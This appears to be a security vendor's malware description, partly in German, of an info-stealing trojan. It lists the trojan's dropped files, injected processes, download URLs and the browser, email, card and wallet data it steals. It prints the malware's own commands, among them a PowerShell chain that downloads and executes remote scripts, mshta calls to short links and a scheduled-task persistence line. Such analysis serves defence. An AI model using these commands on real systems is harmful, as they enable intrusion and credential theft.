TrojanSpy.P97M.VALYRIA.YXBEZ

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Löscht Dateien, so dass Programme und Anwendungen nicht ordnungsgemäß ausgeführt werden.

Lädt eine Datei von einer bestimmten Adresse (URL) herunter und benennt sie vor dem Speichern im betroffenen System um.

Verbindet sich mit einer bestimmten Website, um Daten zu versenden und zu empfangen.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Ordner hinzu:

• where stolen information is stored/copied to:
  • %ProgramData%\{randomly generated number}
  • %ProgramData%\{randomly generated number}\cc
  • %ProgramData%\{randomly generated number}\autofill
  • %ProgramData%\{randomly generated number}\cookies
  • %ProgramData%\{randomly generated number}\crypto

Schleust die folgenden Dateien ein:

• where gathered information is stored:
  • %ProgramData%\{randomly generated number}\{application}
  • %ProgramData%\{randomly generated number}\passwords.txt
  • %ProgramData%\{randomly generated number}\temp
  • %ProgramData%\{randomly generated number}\system.txt → gathered system information
  • %ProgramData%\{randomly generated number}\screenshot.jpg → screenshot of current display
• where gathered information is archived before exfiltrated:
  • %ProgramData%\{randomly generated number}\_{randomly generated number}.zip

Fügt die folgenden Prozesse hinzu:

• "%System%\mshta.exe" "http://www.j.mp/{redirection to specific number}"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-1.txt') -useB);i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-2.txt') -useB);i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-3.txt') -useB);
  • starts the following processes:
    • %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    • %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
• "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://1230948%{BLOCKED}x.blogspot.com/p/{number}.html\"
• #cmd
• "{path}"
• "%System%\cmd.exe" /c taskkill /pid {PID of injectedaspnet_compiler.exe } & erase %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe & RD /S /Q %ProgramData%\{randomly generated number}\* & exit

Injiziert Code in die folgenden Prozesse:

• %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
• %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

(Hinweis: %Windows% ist der Windows Ordner, normalerweise C:\Windows oder C:\WINNT.)

Andere Systemänderungen

Löscht die folgenden Dateien:

• after exfiltration:
  • %ProgramData%\sqlite3.dll
  • %ProgramData%\freebl3.dll
  • %ProgramData%\mozglue.dll
  • %ProgramData%\msvcp140.dll
  • %ProgramData%\nss3.dll
  • %ProgramData%\softokn3.dll
  • %ProgramData%\vcruntime140.dll
  • %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

(Hinweis: %Windows% ist der Windows Ordner, normalerweise C:\Windows oder C:\WINNT.)

Löscht die folgenden Ordner:

• after exfiltration:
  • %ProgramData%\{randomly generated number}
  • %ProgramData%\{randomly generated number}\cc
  • %ProgramData%\{randomly generated number}\autofill
  • %ProgramData%\{randomly generated number}\cookies
  • %ProgramData%\{randomly generated number}\crypto

Download-Routine

Lädt Dateien von einer bestimmten Adresse (URL) herunter und benennt sie vor dem Speichern im betroffenen System um.

• Short URLs of initial connection:
  • http://www.j.mp/{redirection to specific resource}
  • http://bit.ly/{redirection to specific resource}
    • redirected to:
      • https://{BLOCKED}.blogspot.com/p/{number}.html → remote executes powershell/schtask for persistence
• https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → connects to the following URLs which downloads files and executes kuchb.vbs
  • https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
  • https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
  • https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batman.bat

Speichert die heruntergeladenen Dateien unter den folgenden Namen:

• %Public%\batman.bat → starts clone.vbs
• %Public%\kuchb.vbs → persistence for batman.bat
• %Public%\clone.vbs → disables security in infected machine
• %ProgramData%\sqlite3.dll
• %ProgramData%\freebl3.dll
• %ProgramData%\mozglue.dll
• %ProgramData%\msvcp140.dll
• %ProgramData%\nss3.dll
• %ProgramData%\softokn3.dll
• %ProgramData%\vcruntime140.dll

Datendiebstahl

Folgende Daten werden gesammelt:

• Screenshot of current display
• System Information
  • OS version
  • Username
  • Computer Name
  • System Language
  • Machine ID
  • GUID
  • Domain Name
  • Workgroup
  • Keyboard Language
• Hardware Information
  • Processor
  • # of Logical processors
  • Videocard
  • Display resolution
  • RAM
  • If desktop or laptop
• Local Time & Zone
• Network Information
  • IP Address
  • Country
• Installed Software & version
• Browser autofills, cookies & Login data from the followings:
  • Amigo
  • Blackhawk
  • Brave
  • Cent Browser
  • Chromium
  • CocCoc Browser
  • Comodo Dragon
  • CryptoTab
  • Cyberfox
  • Elements Browser
  • Epic Privacy Browser
  • Google Chrome
  • IceCat
  • KMeleon
  • Kometa
  • Maxthon5
  • Mozilla Firefox
  • Nichrome
  • Opera
  • Orbitum
  • Pale Moon
  • QIP Surf
  • Sputnik
  • TorBro
  • Torch
  • Uran Broswer
  • Vivaldi
  • Waterfox
• Email credentials:
  • Thunderbird
  • Outlook
• stored credit card information
• stored bitcoin wallets:
  • Anoncoin
  • BBQCoin
  • Bitcoin
  • DashCore
  • Electrum
  • Electrum-LTC
  • Ethereum
  • Exodus
  • Florincoin
  • Franko
  • Freicoin
  • GoldCoinGLD
  • IOCoin
  • Ixcoin
  • Litecoin
  • Megacoin
  • Mincoin
  • Multidoge
  • Namecoin
  • Primecoin
  • Terracoin
  • YACoin
  • Zcash
  • devcoin
  • digitalcoin
  • jaxx

Andere Details

Verbindet sich mit der folgenden Website, um Daten zu versenden und zu empfangen:

• http://{BLOCKED}.{BLOCKED}.107.28/l{number}//main.php
• http://{BLOCKED}.{BLOCKED}.107.28/l{number}/